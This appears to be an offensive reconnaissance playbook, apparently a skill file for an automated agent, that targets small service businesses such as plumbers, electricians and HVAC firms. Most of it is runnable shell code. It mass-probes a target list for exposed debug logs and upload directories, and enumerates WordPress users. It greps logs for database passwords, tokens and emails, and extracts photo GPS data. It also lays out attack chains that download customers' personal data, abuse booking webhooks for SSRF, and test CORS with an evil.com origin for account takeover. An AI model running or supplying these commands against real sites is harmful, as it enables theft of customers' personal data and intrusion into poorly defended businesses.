When to Use
Use when the target scope includes small business service provider domains — plumbers, HVAC, electricians, landscapers, roofers, painters, carpet cleaners, pest control, movers, contractors. These are characterized by:
- Low-budget web presence — DIY site builders, $10/month shared hosting, no security team
- Contact-form dependency — leads come through site forms, stored in plugin upload dirs or emailed
- Photo galleries of work — before/after photos with EXIF data (geolocation, device info)
- Estimation/quote tools — often custom-coded calculators with injection potential
- Review/SEO plugins — Google Reviews, Yelp, BBB badges — third-party JS injection surface
- Booking/scheduling tools — embedded Calendly, Acuity, Bookly — SSRF surface via webhook URLs
Quick Reference
Pattern catalog: See references/wave9-pattern-catalog.md — 25 attack patterns (P-01 through P-25), 8 CORS bypass variations, 18 WordPress abuse patterns, 12 sector-specific attack matrices with hit rates and top targets, drop-in browser PoC HTML, and highest-yield command sequences.
# Quick triage
for t in $(cat smb-targets.txt); do
echo "=== $t ==="
# CMS fingerprint
curl -skI "https://$t/" | grep -iE "wordpress|php|wp-|wix|squarespace|shopify"
# Debug log
echo -n "Debug: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/debug.log"
# Directory listing
echo -n "Uploads: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/uploads/"
# XMLRPC
echo -n "XMLRPC: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/xmlrpc.php"
# PHPInfo
echo -n "PHPInfo: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/info.php"
# robots.txt hidden paths
curl -sk "https://$t/robots.txt" | grep "Disallow" | head -5
echo "---"
done
Step-by-Step
Phase 1 — Domain Discovery
# Common patterns:
# <city><service>.com — chicagoplumber.com, austin-electrician.com
# <service><city>.com — plumberchicago.com, hvacdenver.com
# Mr/Mike/Ace/<name>-<service>.com — mrplumber.com, aceelectric.com
# Google dorking
# site:*.com inurl:hvac-contractor OR inurl:plumber-service
# inurl:landscaping site:*.com "free estimate"
# crt.sh for subdomains
curl -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
domains = sorted(set(d['name_value'] for d in data))
for d in domains: print(d)
except: pass
" | tee smb-subdomains-$TARGET.txt
Phase 2 — CMS + Contact Form Discovery
# Find contact form submission storage (PII goldmine)
for path in /wp-content/uploads/wpforms/ /wp-content/uploads/formidable/ \
/wp-content/uploads/fluentform/ /wp-content/uploads/cf7_uploads/ \
/wp-content/uploads/gravity_forms/ /wp-content/uploads/contact-form-7/ \
/wp-content/uploads/bookly/ /uploads/leads/; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
size=$(curl -sk "https://$TARGET$path" 2>/dev/null | wc -c)
if [ "$code" = "200" ] && [ "$size" -gt 100 ]; then
echo "[+] DIR LISTING: $path"
curl -sk "https://$TARGET$path" | grep -oP 'href="[^"]+\.(csv|xlsx|txt|pdf|json)"' | head -20
fi
done
# Check for exposed quote/estimate forms
for path in /quotes/ /estimates/ /proposals/ /invoices/ /projects/ /jobs/; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$code" = "200" ] && echo "[+] PATH: $path (HTTP $code)"
done
# Look for client PDF files (proposals, invoices)
curl -sk "https://$TARGET/" | grep -oP 'href="[^"]+\.(pdf|doc|docx|xlsx)"' | sort -u
Phase 3 — WordPress Recon
# User enumeration
curl -sk "https://$TARGET/wp-json/wp/v2/users" | jq '.[] | {id, name, slug}'
# CORS credential reflection
curl -skI "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com"
# REST API namespaces
curl -sk "https://$TARGET/wp-json/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for ns in d.get('namespaces', []):
print(f' {ns}')
except: pass
"
# Debug log PII search
curl -sk "https://$TARGET/wp-content/debug.log" -o /tmp/smb_debug.log 2>/dev/null
if [ -s /tmp/smb_debug.log ] && [ "$(wc -c < /tmp/smb_debug.log)" -gt 100 ]; then
echo "[!!!] Debug log found ($(wc -c < /tmp/smb_debug.log) bytes)"
grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /tmp/smb_debug.log | sort -u | head -20
grep -oP 'eyJ[a-zA-Z0-9_-]{20,}\.[a-zA-Z0-9_-]{20,}\.[a-zA-Z0-9_-]{10,}' /tmp/smb_debug.log | head -5
grep -oP '(DB_PASSWORD|DB_USER|DB_NAME|DB_HOST|API_KEY|SECRET).{0,80}' /tmp/smb_debug.log | head -10
fi
Phase 4 — Plugin & Theme Vulnerabilities
# Service-business-specific plugins
for plugin in "bookly-responsive-appointment-booking-tool" "wpforms" \
"formidable" "fluentform" "gravityforms" "contact-form-7" \
"elementor" "elementskit" "revslider" "wordpress-seo" \
"google-reviews" "business-reviews-bundle" "wp-reviews-plugin" \
"woocommerce" "woocommerce-bookings" "tablepress" \
"estimate-delivery-date-for-woocommerce" "simple-estimator" \
"strong-testimonials" "site-reviews"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/wp-content/plugins/$plugin/readme.txt")
if [ "$code" != "404" ]; then
version=$(curl -sk "https://$TARGET/wp-content/plugins/$plugin/readme.txt" | grep -i "stable tag\|version" | head -1)
echo "[+] Plugin: $plugin $version"
fi
done
Phase 5 — Booking & Scheduling Tool Recon
# Check for booking/scheduling systems
for path in /book-appointment /schedule /booking /book-online /appointments \
/calendar /book-now /request-appointment /service-request /quote; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$code" != "404" ] && echo "[+] Booking endpoint: $path (HTTP $code)"
done
# Embedded third-party booking (Calendly, Acuity, Bookly)
curl -sk "https://$TARGET/" | grep -oP 'calendly\.com|acuityscheduling|bookly|setmore|squareup\.com/appointments'
# Webhook URLs in page source (SSRF potential)
curl -sk "https://$TARGET/" | grep -oP 'https?://[^"\x27]+(webhook|hook|callback|zapier|make\.com|integromat)' | sort -u
Phase 6 — Gallery & Photo EXIF Analysis
# Find photo gallery pages
for path in /gallery /our-work /portfolio /projects /before-after /photos /images; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$code" != "404" ] && echo "[+] Gallery: $path (HTTP $code)"
done
# Download photos and check EXIF (geolocation, device model)
curl -sk "https://$TARGET/" | grep -oP 'src="[^"]+\.(jpg|jpeg|png)"' | sed 's/src="//;s/"//' | \
while read img; do
curl -sk "https://$TARGET$img" -o /tmp/exif_check.jpg 2>/dev/null
exiftool /tmp/exif_check.jpg 2>/dev/null | grep -iE "gps|latitude|longitude|location|camera|model|software|create|date" | head -5
done
Phase 7 — Attack Chains
# Chain A: Debug log → DB credentials → DB access
grep -oP "DB_PASSWORD|DB_USER|DB_HOST|DB_NAME" /tmp/smb_debug.log 2>/dev/null
# Chain B: Contact form storage → PII exfil
curl -sk "https://$TARGET/wp-content/uploads/wpforms/" | grep -oP 'href="[^"]+\.(csv|xlsx)"' | \
while read f; do curl -sk "https://$TARGET/wp-content/uploads/wpforms/$f" -o /tmp/pii/; done
# Chain C: Booking tool webhook → SSRF
# Modify webhook URL in booking plugin settings → point to Collaborator
# Chain D: CORS + user enum → ATO phishing
# curl -sk "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" -H "Cookie: $COOKIE"
Attack Surface Signals
- CMS: WordPress (dominant), Wix, Squarespace, Shopify (for ecommerce services)
- Hosting: Shared hosting, no WAF, Let's Encrypt SSL
- Stack: PHP + MySQL, Contact forms, Photo galleries, Booking/scheduling tools
- Typical findings: Contact form upload leakage, Debug log exposure, Directory listing on uploads, Outdated plugins (Bookly, WPForms, Elementor), CORS credential reflection, XMLRPC open, EXIF geolocation in work photos
Common Root Causes
- DIY website builder — small business owners build their own sites or pay a local agency minimum fee
- No ongoing maintenance — site built once, never updated, plugins accumulate CVEs over years
- Contact form data persistence — form entries stored on server as CSV/JSON with no retention policy
- Photo hosting on same server — gallery images stored in webroot with full EXIF data
- Cheap shared hosting — no WAF, no CDN, PHP disable_functions wide open
- Agency-built, agency-abandoned — web agency builds the site, client never pays for ongoing maintenance
- Embedded third-party tools — Calendly, Bookly, Acuity Scheduling — SSRF surface through webhook URLs
Bypass Techniques
- Many SMB sites have dev/staging instances at dev., test., staging.
- Check for year-based paths: /uploads/2023/, /uploads/2024/
- Google dork:
site:target.com inurl:wp-content/uploads filetype:pdf "estimate" OR "invoice" - Gallery images often have sequential names (IMG_0001.jpg, IMG_0002.jpg)
- Seasonal businesses may have older sites with more vulnerable plugin versions
Real Examples
From cross-sector mass recon observation:
- A plumber's website had debug.log exposed with 2MB of SQL queries containing customer names, addresses, and phone numbers
- An HVAC company's /wp-content/uploads/ directory listing revealed 500+ service invoices in PDF format with full customer PII
- A landscaping company had Bookly booking plugin with webhook URLs pointing to a Zapier integration, modifiable via CSRF
- An electrician's WordPress had CORS credential reflection + open XMLRPC + outdated Elementor — full RCE chain possible
Related Skills
- recon-churches — similar sector profile (WordPress on shared hosting, volunteer-maintained)
- recon-daycare — similar PII exposure patterns
- hunt-wordpress — primary CMS for SMB service sites
- hunt-cors — CORS credential reflection on WP REST API
- hunt-source-leak — debug.log, config backups, directory listing
- hunt-file-upload — form upload features, gallery uploads
- hunt-lfi — file inclusion via plugins
- hunt-subdomain — staging/dev instances
- hunt-ssti — booking/quote template injection